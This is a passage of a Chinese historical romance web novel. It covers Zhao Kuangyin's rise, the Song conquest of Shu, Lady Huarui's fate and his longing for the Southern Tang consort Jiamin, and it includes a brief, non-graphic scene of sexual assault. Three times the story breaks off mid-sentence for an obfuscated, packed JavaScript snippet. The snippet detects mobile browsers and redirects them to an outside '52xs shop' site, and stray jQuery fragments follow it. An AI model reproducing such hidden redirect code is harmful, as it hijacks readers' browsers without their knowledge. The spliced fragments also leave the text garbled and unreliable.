赵匡胤上前向秋芙行礼道谢,此事不易讲的太直白,只说日后必将报此大恩。 秋芙心领神会地点头,一脸焦急:“现在不是说这些话的时候,我就要把小姐带回去,若被发现了什么,周家这边怕是不好收场!” 嘉敏凝了他一眼,被秋芙牵着手离开。 “嘉敏——”赵匡胤冲动之余自背后抱住了她,颤声道:“我不想放你走,你跟我回大宋好不好?暂时做个贵妃什么的,以后的日子我们再慢慢筹划。” 嘉敏一下子又哭出来,摇头道:“我还有娘、哥哥和仲愚,怎可牵连他们?” “那我们呢?”赵匡胤沉声问:“你和我?” 嘉敏一瞬间有些失神,茫然道:“我的夫君是南唐太子,我们……” 赵匡胤认命地闭上眼,慢慢把手松开转过身去,不想被嘉敏看到自己红着眼眶的模样。 嘉敏以为他是生气了,低声哀求道:“赵哥哥,在嘉敏心里没有人比你更重要。可娘和哥哥还有仲愚是我在这个世上仅剩下的血亲,我不能任性地一走了之。今日一别,也不知此生是否还有相遇的可能。日后你一定要小心,嘉敏只愿在南唐的宫里听到的都是你的好消息,愿你长命百岁,一生平安喜乐,再会!”说罢转身飞跑而去,生怕跑的慢一些就走不了了。 身后赵匡胤唤了她两声,却没有追上去,手里多了嘉敏送的一条丝帕,绣着一对鸳鸯,还有两行小字: “得成比目何辞死,愿作鸳鸯不羡仙。” 赵匡胤闭上眼,一行热泪打湿手背。 51.蜀江水碧 李煜突然到访并非是为了什么重要的事,而是亲自来接嘉敏回宫。 这个冠绝天下的江南才子似乎总有太多柔情倾注在心悦的女子身上,昔日对周娥皇亦是如此,周家人倒是见怪不怪。 嘉敏换了件衣裳就被母亲催着去见他,原想在娘家多住几日,而今却不得已随着李煜回宫。 只离开两日,柔仪殿竟有了许多变化,墙壁上挂着金丝红罗帐,窗格镶以绿松石,宫苑中还移植来许多花木,花间置着数处彩画小木亭,仅容得下二人座。 此等陈设比之周娥皇盛宠时的瑶光殿还要富丽雅致,嘉敏瞧着倒是喜欢,可却不敢表露出来。 李煜见她神色淡淡的,遂将她拉进小木亭里,此处空间狭小,两人几乎是贴身站着。 嘉敏头也不敢抬,听得李煜柔声道:“嘉敏,在过去那些年,因为娥皇,你我之间难免心生龃龉,我为了逃避,也总是经常待在别的嫔御宫中。可不管身在何处,我总归是惦记着你,想着该好好待你。” 他伸手抚摸嘉敏的秀发,见她微微抗拒,遂接着道:“我知道你此刻定然不信我,日后我会加倍的宠你,让你我之间再无旁人。”说罢将她紧抱在怀。 此话乃是专宠之意,嘉敏听了心却越来越凉,连头也开始疼,任命地闭上眼,满脑子都是赵匡胤的影子。 公元九六一年,南唐皇帝李璟驾崩,太子李煜继位,因北方宋政权之强势,贡奉岁币以保平安。 此时的赵匡胤已经牢牢掌控了大宋的内政及军权,厉兵秣马,剑指荆、湖,两年后夺下此地,威慑南方诸政权。 因南唐地广强盛,下一个目标乃是川蜀,可偏偏此时朝中出了些变故。 当初他受禅之后,仍拜北周旧臣范质、王溥及魏仁浦三人为相。只不过作为前朝旧臣,此三人总觉有负武帝柴荣之所托,屡次上表请辞。 赵匡胤洞察三位老丞相之心,也不愿再相为难,干脆批了辞呈。而关于宰相何人来做,他心中早已有了人选。 此时正在家中研读古书的赵普听闻皇帝一口气辞了三位宰相,差点从椅子上掉下来,慌忙请夫人前来替自己换上官服,急匆匆就入宫了。 赵匡胤见满头大汗而来,笑道:“朕正有事寻你,可巧就来了。”说罢将写好的制书递给他,“朕欲拜你为相,自今日起,领同中书门下平章事之衔。此等重任,也只有‘赵学究’当得起了!” 赵普翻看制书一看,拱手道:“回皇上,历来皇令乃至制书都必须由丞相副署方可生效,所谓‘不经凤阁鸾台,何得为敕’?不知皇上这封制书要哪位宰相来署名?” “哦,需要如此么?”赵匡胤怔住,缓缓道:“今早三位宰相全都请辞了,大约是找不到人来署名。不如这样,朕来署名可好?” 赵普干脆利落地摇头拒绝:“副署乃是宰相之权,不是帝王可以做的事。皇上是开国君主,如此乾纲独断、破坏旧制之事断然行不得!” 皇帝署名,他堂堂丞相便成了斜封官,且不说同僚如何嘲笑,后世史书又会将他赵普写成什么上不得台面的人物? 见其坚决反对,赵匡胤登时没了脾气,皱眉道:“一时之间叫朕去哪里找可署名之人?” 赵普再拜道:“不妨命翰林学士查询先例典故,看能不能找到变通之法!” 左右无法,赵匡胤点头答允,口谕下达到翰林院,翰林学士窦仪、陶谷等连夜查阅旧史,过了整整两日才寻到例证,衣冠整齐进宫去面圣。 因朝中三日无相,赵匡胤未免烦躁了些,下了朝就将头上那沉重冠冕取下,连龙袍也脱下来,随意披一件旧袍,散着头发倚着门框喝酒。 正好循到先例的窦仪前来求见,见他这等仪态装扮,面露异色,婉转劝谏:“陛下开创大宋基业,乃后辈之楷模,当谨守礼仪才是啊!” 赵匡胤一怔,好脾气地笑道:“朕也是对近臣才这般疏忽,烦卿稍等片刻!”说罢自去寝室更衣,重新梳上发冠,才出来接见大臣。 窦仪瞧他的仪容完全符合一个治世之君的标准,眼神恭敬之中带上几分欣赏,朗声道:“皇上,制书之事有眉目了。依唐例,今皇弟开封府尹、同平章事赵光义大人,就是宰相,可为制书署名。” 唐制同平章事即为宰相,不过很多亲王、节度使等兼领平章事之衔,乃是名义上的宰相,但是并不行使相权,称为“使相”。若非查阅旧史,也无人会想到这些。 赵匡胤听罢恍然大悟道:“晋王确实兼领同平章事之衔,名义上就是宰相,由他为拜相制书署名,就不算破坏旧制了!如此甚好,窦卿可算是解了朕的燃眉之急啊!” 君臣相谈甚欢,赵匡胤干脆请他去御花园详谈。 “我大宋以武力安邦,于文治则不及南唐,朕有意增选文官来平衡朝堂文武两班之势力,不知卿可有对策?”赵匡胤思忖问道。 窦仪回道:“皇上所虑甚是!所谓‘武安邦、文定国’,一个朝堂,若武力过剩则国无宁日;若文治太强,又必成羸弱之局,就像如今的南唐,文治昌盛,却不堪一击。而我大宋则相反,也确实需要增选文官来稳定大势。而想要增选文官倒也不难,增加开科取士的名额就行!” 赵匡胤低眉思虑,和窦仪去亭中饮酒,边喝边道:“而今天下未定,尚不宜以文制武,若儒臣中有武干者,岂非更好?” 看来皇上是想选文武全才,窦仪脑筋一转道:“此事或可问宰相!” 为皇上举荐人才的确是宰相之职,此刻晋王赵光义也已奉召入宫,在制书上署名,赵普正式拜相。 忙碌了一天,内政大定。 认真思索这些天发生的事,赵匡胤颇为感慨,提笔给嘉敏写了封书信,尤其提到因衣冠不整被翰林学士讽谏之事,想来嘉敏看了怕是会觉着好笑,是以多写几笔。 他原本是个草莽豪杰,而今却阴差阳错成了开国之君,以前从不在乎的繁文缛节成了必须要遵守的定制,若说没有丝毫不自在,定然不是真的。可在其位谋其政,那些豪杰的性情怕是不得不收敛了。 次日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365850|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝堂之上,晋王上奏蜀主孟昶意欲联合北汉,一南一北夹击大宋。非但如此,那孟昶居然还放话出来要北伐中原逐鹿天下。 赵匡胤捂着脸差点笑出声,底下石守信等人就没那么客气了,揶揄道:“早听说那蜀主出生时在娘胎里待的太久,脑子不大好使,看来传言是真的!” 王审琦干脆奏道:“皇上,那孟昶小儿如此狂悖,再不发兵伐蜀更待何时?” “那就打吧!”赵匡胤挑眉,起身道:“传令下去,抽调六万禁军,分两路夹击川蜀,凡克城寨,只将武器铠甲及军粮入账,所获钱帛出征将士就地瓜分,朕要的只是那川蜀的国土而已!” 诏令即出,诸将方知他早已在心中筹划多日,将士出征除了杀敌保国,多也为养家糊口出人头地,而赵匡胤虽曾杯酒释兵权,却从不在财帛上亏待下属,可以说赏赐相当丰厚。 朝臣对视几眼,纷纷下拜高呼:“皇上万岁——” 公元九六·四年宋军伐蜀,北路三万大军由王全斌统帅,走陈仓道和金牛道,翻秦岭急行入蜀,很快攻下兴州,斩掳七千蜀军,缴军粮四十万斛,兵器充公,财帛就地瓜分。 接着宋军杀过三泉关,冲出秦岭,蜀军则退至葭萌关。 前线接连失利,蜀军方知宋兵之可怕。 为阻拦敌军入蜀,主帅干脆一把火烧了葭萌关前的栈道。 宋军止步于葭萌关前,没有栈道的蜀道乃是一片悬崖绝壁。 战报传到朝廷,赵匡胤甚感不安,“倘若我大宋的军队就这样被堵在大巴山,怕是上天无路入地无门。”看着地图思虑一阵指挥道:“传令王将军不可强攻葭萌关,采用迂回战术带领主力取道罗川。另外,副帅崔将军修栈道于绝壁之上,通小漫天寨。” 王审琦等宋将亦是熟读兵书,听罢心头一动,问道:“此计乃是……” 赵匡胤挑眉:“不错,明修栈道,暗度陈仓’!” 而王全斌的战略竟与赵匡胤不谋而合,不待诏令就带领主力绕道罗川,破了此地的后蜀军队,逼近嘉陵江渡口。 副帅崔彦进竟也将栈道修好,攻破小漫天寨,赶到渡口与王全斌大军回合。 眼见宋军来势汹汹,如鬼神一般出现在面前,镇守葭萌关的蜀军纷纷丢下兵器不战而逃。 刚准备大战一场的宋军抬手抹一把脸上并不存在的汗珠,默默欣赏着蜀军的整齐逃窜。愣了片刻冲入关中,开始有钱拿钱,有粮囤粮,顺便抓几个逃兵问他们不打就跑了。 蜀兵的说辞更是好笑,原来自从蜀军主帅王昭远三战三败之后,军中就盛传宋兵如鬼如神,反正就是不是人,不是人还怎么打得过? 宋军哈哈大笑,眼下虽说已拿下葭萌关,可真正的天险还在后面——剑门。 是夜,在遍植芙蓉的锦城皇宫,花蕊夫人徐慧自睡梦中惊醒,摇了摇身侧的蜀主孟昶道:“陛下,妾梦到那未曾谋面的大宋天子化作金龙将芙蓉城寸寸碾碎,未知前线战况究竟如何,我川蜀大军可能抵挡宋兵入侵?” 52.剑阁闻铃 北路宋军势如破竹的同时,东路军由宁江节度使刘廷让并枢密承旨曹彬统领,自归州起兵,连破松山、三会、巫山等蜀军大营,溯江而上到达夔州。 此处有浮桥锁江,蜀军在桥上安置火器狙击宋兵,倘若硬拼,必定死伤惨重。 好在赵匡胤早有对策,出征之前授以地图,言明等大军到达夔州,不能用水师来争战,应先弃船登陆,变水军为陆军,沿江前去出其不意攻击敌人,等敌人后退,再用战船夹击,如此必可破夔州。 刘廷让取出地图观察片刻,即在距离锁江三十里处命士兵弃船登岸,先夺下浮桥,复又折返重新登舟,一举攻破夔州,接着又连下万、施、开、忠四州,蜀军三峡防线全线溃败。 而此时的王全斌大军正与蜀军统帅王昭远对峙于剑门关,远在汴京的赵匡胤计算着行程,与赵普等人讨论军机,字字句句都好像亲临战场: “蜀道之险,剑门为首。此地无法正面进攻,需翻山越岭,迂回到剑阁以南之青强,自背后突击,方可取之!” 在前线指挥作战的王全斌果然如他所料,派前锋史彦德率军前去青强。 王昭远听说宋军绕到背后来了,立时引兵退守汉原坡,留偏将守关。 王全斌听说蜀军走了主帅,当下率领精锐意欲强夺剑门。驻守的蜀军看着一路攀爬上来的宋兵,不知是不是吓傻了,竟无人抵抗,丢下武器狼狈逃窜。 有了之前兵不血刃夺葭萌关的经验,宋军也没那么惊讶了,占领剑门之后,又追去汉原坡大战蜀国的主帅逃兵,蜀军多战死。 而后两路大军毫无阻碍地冲进了成都,仅仅六十六天,蜀主孟昶白玉牵羊献国投降,而随着孟昶一起归降大宋的还有他那位才貌双全的宠妃花蕊夫人徐慧。 这时节蜀地阴雨绵绵,北上汴京途中路过剑阁,雨声更大了些,淋着降车上的铃铛,一股悲凄之意从心底生出,难以抑制。 花蕊夫人喃喃道:“昔者唐明皇奔逃蜀地,闻雨淋銮铃,思念被缢死的杨贵妃,哀痛作曲,以《雨霖铃》名之。彼时情景,大约与我等此刻相却无几。”说罢不自觉掩面哭泣。 历来降国妃嫔不过是战利品,到了汴京尚不知有何等困厄等着她。跟随着的宫女见她如此,竟也纷纷低头哭泣。 宋军听的厌烦,王全斌策马过来问道:“听闻徐贵妃会作诗,左右无事,不如也作一首让大伙都听一听,这才名艳名是真是假?” 花蕊夫人收敛了眼泪,冷着一张脸道:“妾身才疏学浅,不敢献丑,不过也不敢败了将军的雅兴,还请送上纸笔,妾领命作便是!” 王全斌打了个手势,即有人奉上笔墨纸张。 花蕊夫人轻蹙眉,提笔不过一时半刻便已写就,王全斌看罢惊愕不语。 “君王城上竖降旗,妾在深宫哪得知?十四万人齐解甲,更无一个是男儿!” 汴京城中,初读此诗的赵匡胤也自愕然不已,叹息道:“真是可惜了这花蕊夫人,满腹才情却嫁给孟昶这个草包,成了亡国妃嫔。”说着摇摇头,陷入沉默。 此时此刻禁不住想到如若不久的将来,宋军攻占南唐,那下一个被掳来汴京的妃嫔会不会就是嘉敏? 旧国妃嫔充作帝王后宫乃是常有之事,只是不知嘉敏能否接受这样的身份转换。 想着难免心下苦涩,转头去取前些日子从金陵寄来的嘉敏的画像,拿在手里看了半晌,斜倚在卧榻上闭目睡去。 听说画这幅画的时候,嘉敏正在柔仪殿跳新编的《绿腰舞》。 赵匡胤睡的不踏实,梦见嘉敏从画里走出来,在大宋的宫殿之中为他跳起了《绿腰舞》。 她原本穿碧色是极好看的,云鬓花颜,罗带翩翩,宛若一朵缓缓盛开的莲花。 赵匡胤瞧的移不开眼,贴近时一把将她拉入怀中,拿自己的酒来喂她。 嘉敏娇羞地垂眸,却也巧笑着饮下,惬意地依偎在他怀里,眼波如水幽幽道:“听说赵哥哥把川蜀的花蕊夫人掳来了汴京?” “这个……”赵匡胤不想她竟会问起此事,爽朗笑道:“川蜀灭国,迁王族来京师只是惯例而已,她是孟昶的妃子,自然要跟来。” 嘉敏揶揄道:“花蕊夫人才貌双全,你不是也折服于她的诗才么?等她来了汴京,见到人以后,说不定还会忍不住纳入后宫,对不对?” 赵匡胤立时感觉一阵头疼,皱眉道:“你们这些女儿家,好像就见不得夫郎身边有其他女子,天底下的美人那么多,难道我还见一个收一个么?那花蕊夫人的确不同凡响,不过我心里想着的人始终只有嘉敏一个啊!” “也不羞,你是谁夫郎?”嘉敏面色酡红,含羞带嗔。 赵匡胤点她的鼻子,宠溺道:“自然是你的!怎么,总不至于分开几年就想要赖账?” 嘉敏听罢却神色哀伤地离开他怀里,一句话也不说飞快跑开。 赵匡胤伸手去抓,只碰到她一片衣角,想追上去却发现自己竟然动不了,只能眼睁睁看着她从眼前消失…… 全身一个激灵,赵匡胤惊醒过来,内侍来报,川蜀俘虏已到达汴京,在等候宣召。 赵匡胤捏了捏眉心,梦里的事情尚记的十分清楚,片刻整理衣冠上朝。 那蜀主孟昶虽正值壮年,却一副猥琐模样,佝偻着腰背,话都说不利落。 豪杰出身的赵匡胤自然瞧不上眼,不过此人毕竟曾是川蜀国主,也不能薄待,当即封了个秦国公的头衔,赏赐不少金银财帛,就打发他回自己府邸安置。 第二天孟昶携家眷入宫谢恩,花蕊夫人亦在其列。 赵匡胤在御花园设宴款待,那孟昶是个不中用的,喝了两杯酒就借口肠胃不舒服告退了,留花蕊夫人独自陪宴。 此等用心旁人如何看不出来?不过是出卖自己宠妃来求得在汴京的安稳日子罢了。 花蕊夫人螓首低垂,面容哀戚却又无可奈何。 赵匡胤仔细瞧她,见果然是一个冰肌玉骨风致嫣然的女子,于是干脆定睛看她,片刻笑起来,依旧是很爽朗的笑,并不带丝毫轻薄之意。 花蕊夫人原不曾料到这大宋的皇帝竟生的这般俊眉修眼容色清华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385261|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,且性情似乎颇为有趣,相处片刻胆子也大了些,禁不住微笑道:“是妾身哪里不妥,惹得皇上发笑么?” “非也,夫人教朕想起了昨日所做的梦!”赵匡胤依旧笑吟吟地道:“朕只是有些好奇,似夫人这般的美人,若有朝一日瞧见了一个比自己更美的女子,不知是会嫉妒还是欣赏?” 花蕊夫人被她问住,掩嘴笑道:“妾之艳名远播川蜀,尚未曾见过容貌更甚者,故而并不知答案。” 历来女子皆不会如此夸耀自己美貌,可她非但说了,而且说的很自然。 赵匡胤敬了她一杯,“夫人倒是个爽朗的性子!” 花蕊夫人还礼后饮下,慢悠悠地道:“虽说川蜀没有,不过别处却有。听闻南唐的后宫有一位小周娘娘,生的千娇百媚美若天仙,她若在此处,妾大约是会被比下去的。” 赵匡胤眼眸变的很深,状似无意地道:“倒是听说过,是南唐李煜的皇后,莫非夫人认得那小周娘娘?” 花蕊夫人轻摇头,嫣然笑道:“虽未相识,却是久闻其大名!皇上大约不知道,我们这些做后妃的多是以色事人,平日里闲来无事,最喜欢听一些各国的宫闱轶闻,暗暗还会较劲。妾素有诗才,那小周娘娘却是舞技超绝。每逢妾有新诗流传于世,南唐宫中也必出现新编的舞曲,前一阵小周娘娘跳的《绿腰》舞还被宫廷画师画出了好几幅,传到川蜀后宫。” 赵匡胤支着头又笑起来,“听起来那小周娘娘竟也是个争强好胜的性子,你出新诗,她便编出新舞来,难道说是要与你较个高低?” “倒也未必如此!”花蕊夫人无奈地道:“其实都是旁人在推波助澜,小周娘娘出新舞,川蜀宫人必要妾出新诗,反过来大约也差不多。不过较劲久了,反倒成了习惯,冥冥之中生出一种惺惺相惜之感。只待来日相见,说不定我们还会成为好姐妹。” “来日相见?”赵匡胤颇为玩味地重复着这四个字,看向花蕊夫人的眼神也起了些许变化。 花蕊夫人淡淡道:“大宋灭蜀仅用六十六天,假以时日攻下南唐似乎也不是什么不可想象之事,那小周娘娘自然也就和妾一样被接来汴京久居,到时候说不定就有机会相交。” 这番措辞很是委婉,赵匡胤只当没听出别的东西,握紧酒杯问道:“若那小周娘娘来了汴京,是不是也会如夫人这般悲伤不安,难舍故国?” “故国难离乃是人之常情……”花蕊夫人哀叹道:“更何况我等飘零浮世之女子不过都是些薄命红颜,将来落到哪个男子手中尚且不知。若此刻妾身可以传信于那小周娘娘,必定会告诉她,倘若国破家亡,不如效仿那美人绿珠自决于城楼之上,至少尚可保得清白之身!” “你……”赵匡胤大吃一惊,怒道:“你当朕是什么人,难道还会贪图你的美色强幸于你吗?” 花蕊夫人冷冷道:“皇上不会,别人也不会么?” 赵匡胤这才察觉到不对,皱眉问道:“夫人似乎话里有话?” 静默片刻,花蕊夫人离席下拜,沉声道:“回皇上的话,晋王……晋王……” 53.蒲生池中 一个是大宋之豪杰帝王,一个是川蜀的倾世佳人,原本以为将他们凑在一起定能配成一对,可谁知二人聊了半天竟无半分狎昵。 皇帝冷静自持,夫人性子又很是刚烈,非但没有以媚态邀宠,还差点把位高权重的晋王拖下水。 孟昶连滚带爬地跑出来,跪倒在地颤声道:“臣之夫人素来恃宠而骄,怕是开罪了皇上,求皇上恕罪!” 眼见花蕊夫人欲脱口而出的话被强行打断,赵匡胤皱了皱眉头,缓缓道:“朕之皇弟浮浪好色了些,莫不是对夫人无礼?” 岂止是无礼! 花蕊夫人一脸羞愤之色,大声道:“晋王他……” “晋王昨日多与夫人说了几句话,谅夫人是有所误会,其实无伤大雅,不碍事的!”孟昶一脸猥琐笑意,想将事情遮掩过去。 花蕊夫人横了孟昶一眼,气的脸都白了。 赵匡胤何等聪明,当下猜了个八九不离十,不过自己那个弟弟深得母亲疼爱,若非犯下大错,也不便惩戒,遂道:“此事朕已知晓,晋王那边自会敲打,今日这宴席也该散了,二位请回吧!若真有不平之事,可随时遣使入宫,朕自会替你们做主!” 两人拜谢之后携手出宫,花蕊夫人对孟昶甚是嫌弃,没走多远就甩开他的手。 孟昶则小声道:“夫人呐,你可知现在我们在什么地方,那晋王又是何等人物?你在皇帝面前告他的状,是想让我等全部都跟着你葬身于此么?” 花蕊夫人冷冷道:“我瞧皇上是个讲理之人,未必会包庇自己的弟弟!” 孟昶冷笑:“你怕不是瞧他年轻俊俏,就一厢情愿认定他是讲理之人?说到底你也不过是个妇人而已,他还能因你伤了兄弟之情?” 花蕊夫人气红了脸,却也不得不承认这番话颇有几分道理,只得妥协退让,“依你所言又待如何?” 孟昶贼眉鼠眼地笑道:“此事倒也简单,为保今后之平安,倘若皇上要你,就跟皇上;晋王要你,就跟晋王。不管是跟了哪一个,荣华富贵是少不了的,何乐而不为……” “你……”花蕊夫人气的差点想一巴掌抽他脸上,半晌摇头道:“有你这等贪生怕死的国主,川蜀不亡才是怪事。以晋王之枭雄个性,若是你以为把我献出去就能高枕无忧,那可真是天大的笑话!” 孟昶登时面色大变,牵着她的衣袖问道:“夫人聪慧,可有办法保为夫之命?” 花蕊夫人烦透了他,抽出袖子疾步而去。 二人刚乘车离去,晋王就被召进了宫。 赵匡胤对这个弟弟虽不甚亲厚,可高官厚禄一样不少,只是民间对其风评着实不佳,除了才能平庸之外,好色败德之名头更是传的天下皆知,想来花蕊夫人对他的指控也并非空穴来风。 兄弟二人私下会话,倒没有许多弯弯绕绕,赵匡胤直截了当道:“听说你昨日去了秦国公府上,还调戏了国公夫人?” 晋王赵光义笑道:“臣弟还以为是什么了不得的大事!回皇上的话,昨日臣弟送秦国公入府安置,也见过那个传言中的花蕊夫人,的确生的美艳不可方物,一时倾慕,就多聊了几句……”接着话锋一转,“说起来刚才在宫门外还见到了秦国公的马车,该不会是他们因为这个就跑到御前告状吧!” 赵匡胤瞪了他一眼,斥责道:“你府上的姬妾比宫里的宫女都多,还去惦记别人家的夫人,如此轻薄孟浪,反还怪别人告御状,是不是要朕将花蕊夫人请来,当面与你对质才行?” 被这般训斥一顿,赵光义恨的牙痒痒,却不敢有丝毫不服,拱手道:“臣弟知错,以后见到花蕊夫人必以礼待之秋毫无犯!有几日未见到母后了,皇上若无其它要事,臣弟想顺道去慈元殿请安。” 赵匡胤点头,“去吧!” 打发走了弟弟,提笔给嘉敏写书信,问她是否真如花蕊夫人所说经常与其争奇斗艳?顺便提及汴京之繁华,漕运之利,商旅往来,天下奇货皆囤积于此,是个丝毫不亚于金陵之住处。 辞意隐晦,含蓄地告知嘉敏,怕是不久的将来,大宋将会攻陷江南之地,届时接她来汴京,二人就可团聚了。 五日后,孟昶暴毙,据说是醉酒之后一头栽进井里淹死了。 赵匡胤震惊之余下令罢朝三日,着丧服亲去府上吊唁,再次见到了遍身缟素的花蕊夫人。 见她泪盈盈的跪着守灵,难免生出恻隐之心,上前劝慰道:“还请夫人节哀,日后在汴京,朕定会派人多加照拂,不令你受屈。” 花蕊夫人冷笑连连,泣道:“皇上可还记得前几日与妾闲聊时提起的那些宫闱轶闻?昔年在蜀国宫中,曾有一个名唤李艳娘的绝色美女与臣妾争宠。她喜好梳高髻,取名‘朝天髻’,乃是为了迎合国主所谱之《万里朝天曲》,以邀宠幸,一时之间宫人竞相仿之。有谁知道这万里朝天之谶语,竟是出那崎岖蜀道前来朝见宋主你!所谓‘覆巢之下,安有完卵’,臣妾如今已失了依仗,今后如何听天由命吧,就不劳皇上费心了!” 此话暗含嗔怪之意,同行而来的晋王正要出声呵斥,被赵匡胤抬手拦下,朗声道:“传朕诏令,追封秦国公为楚王,其留在汴京的家眷皆得荫庇,若有相留难者,必治以重罪!” 当晚,晋王赵光义在秦国公府的灵堂上辱花蕊夫人。 此好色阴鸷之徒一脸狰狞笑意压制试图反抗的花蕊夫人,“你也不看看自己是什么身份,居然敢在皇上面前告本王的状。本王可是皇上的亲弟弟,莫说非礼,就算把你弄死了,你猜猜皇上会不会因为一个无关痛痒的女人治本王的罪?” 花蕊夫人一颗心瞬间凉下来,连最后一点希望也没有了。 “是你自找的!”赵光义撕开她的丧服肆意凌辱。 而赵匡胤对这件事自然一无所知,秦国公府更是无人敢上报。 六月二十四日乃嘉敏生辰,虽又经年未见,可每到这一日,赵匡胤都会准备一桌嘉敏喜欢的膳食,还有新鲜瓜果并许多插花。 独自待了许久才去往御花园散闷,瞧见儿子德昭正在耍木剑,小小孩童一招一式竟也有模有样,一时有些开怀,上前亲自教导几招。 教完就在一旁看着德昭自己练,王鹤儿走过来与他并肩站着,笑道:“德昭平日里总是说父皇武功好,将来一定要把皇上的一身本事都学来,皇上有空教他是再好不过了。” 赵匡胤负手道:“这些年朕一直忙于国事,对孩儿疏于管教,可德昭却如此懂事上进,都是皇后的功劳。” 话语甚为客气疏离,王鹤儿心下酸涩,正待说些什么,福宁宫的管事来报说金陵有东西送来,赵匡胤立时便离开了。 王鹤儿观其神色凝重之中带着欣喜,不似是处理什么军国要事,心下已然明了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407228|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两年虽说赵匡胤待她不算冷淡,可始终像是隔着什么,每每夜间熟睡,也总能听到他在梦中呼唤着嘉敏的名字,想来是对那南朝的女子爱意始终未减吧!想到这里难免一阵心酸,擦着眼泪转头回去了。 嘉敏送来的礼物乃是一件龙袍,是她耗费两年一针一线缝制出来的,其华贵精美无以言表。 赵匡胤扬手披在身上,密探同时带回来的自然还有嘉敏的画像,如今她已年华双十,眉眼都长开了,难怪南朝文人以“姿容绝美、神采端静”形容之。 可他印象中的嘉敏是娇俏活泼的,这般安静不是她本来的模样。 赵匡胤一阵心痛,握着画像步入空无一人的朝堂,缓步走向龙椅,摸了摸那椅背,坐在上面喃喃自语:“嘉敏,我如今虽已做了皇帝,你我却依旧相见无期。若我发兵攻下南唐,你是否又会怪罪于我?” 他心知一旦出兵,获胜之后嘉敏必定会以俘虏的身份被带来汴京,如此待她又觉很不忍心。 想着想着睡过去,画像从手中跌落,掉在地上自行打开了。 王鹤儿走进来,捡起那地上的画像瞧了半晌,见赵匡胤睁开眼,幽幽道:“这南唐的小周娘娘果然是世上少有的绝世美人儿,难怪皇上一直这般惦念着。” 这些年二人也从未当面提过嘉敏的事,如今戳破了这层窗户纸,赵匡胤也不多解释什么,问道:“皇后,可否将画像还我?” 王鹤儿依言还于他,赵匡胤遂收了画像离开,爱惜地合上,他还是不喜欢嘉敏的画像被别人看见。 王鹤儿大声道:“臣妾在后宫听人议论,皇上之所以不曾下定决心去攻打南唐,全是因为顾念小周娘娘之故。臣妾便是不明白,若皇上真的这般爱她,为何不将她带来汴京?若嫌臣妾这个皇后碍了你们的眼,臣妾愿将后位交出!” 赵匡胤挑眉,回过头冷冷看着她道:“皇后,朕知你一向隐忍,对朕这个夫君也有诸多不满,可朝堂之事非妇人可随意议论,再则朕从未想过废后。今日的话,朕只当你是一时不平,便不放在心上,以后莫要再提起了。别忘了,你一日为后,德昭就是储君,就算不为自己,总该多想想孩儿。” 王鹤儿被他一语点醒,只吓的浑身发冷,她二人如今的身份已经不是寻常夫妻,捻酸吃醋这等事乃是大忌。 更何况赵匡胤所言另有深意,她的婆婆,也就是当朝太后偏疼小儿子晋王赵光义,每每以德昭年幼为名义,希望皇上立弟弟为储君,若真如此,那自己儿子德昭地位不稳权且不提,将来只怕还会有杀身之祸。 虽说赵匡胤对自己感情不深,但对儿子却很是疼爱,自己这般闹,当真有些不识大体。 可身为一个女人,不能得到夫君的心又是何等悲哀? 听说那南朝的女子非但姿容绝世,性子更是温柔体贴,又十分擅长女红,厨艺也是一等一的好。或许夫君正是喜欢她的这些,才一直念念不忘吧! 想到这里,王鹤儿擦干眼泪,回去后又向自己的堂兄王审琦问了许多嘉敏之事,听说赵匡胤经常提起嘉敏做的桂花糖藕,好像十分爱吃,心里便有了计较。 其实照素日的观察,赵匡胤并不吃甜,然则既然堂兄这般说,不如做来试试。 做完之后端去御书房,见外面没人,内里开着一道暗门,一时好奇走进去,登时僵立在当下。 54.其叶离离(捉虫) 那暗门里面的密室里并无太多东西,只是四壁上都挂着嘉敏的画像,每一幅画像姿态各异,可无一例外皆是千娇百媚我见犹怜。 虽说平日偶尔也会见到一两幅,可和一屋子相比,差别不是一般的大。 “嫂……嫂子……”石守信颤声唤道,私下里众兄弟对哥嫂的称呼并未改变。 赵匡胤抬头看她,王鹤儿全身颤抖,夫妻相对怔忡,一时说不出任何话。 “大哥他……”石守信想要解释,却被打断。 “不要再说了!”王鹤儿泣道:“臣妾一直以为只要自己恪守妇道,理解丈夫的一切辛苦,一直在旁边默默照顾,皇上的心迟早都会被打动。可如今看来,一切都是枉然,臣妾做什么都不可能比得过你的嘉敏妹妹,真是可笑!”说罢一撒手连盘子也打翻了,就这般落寞而去。 